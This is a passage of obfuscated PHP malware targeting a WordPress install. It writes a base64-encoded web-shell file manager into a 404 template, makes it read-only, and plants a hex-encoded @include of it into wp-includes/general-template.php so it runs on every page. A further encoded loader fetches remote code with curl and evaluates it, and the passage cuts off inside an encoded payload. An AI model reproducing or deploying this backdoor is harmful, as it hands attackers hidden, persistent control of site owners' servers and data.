F5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNIN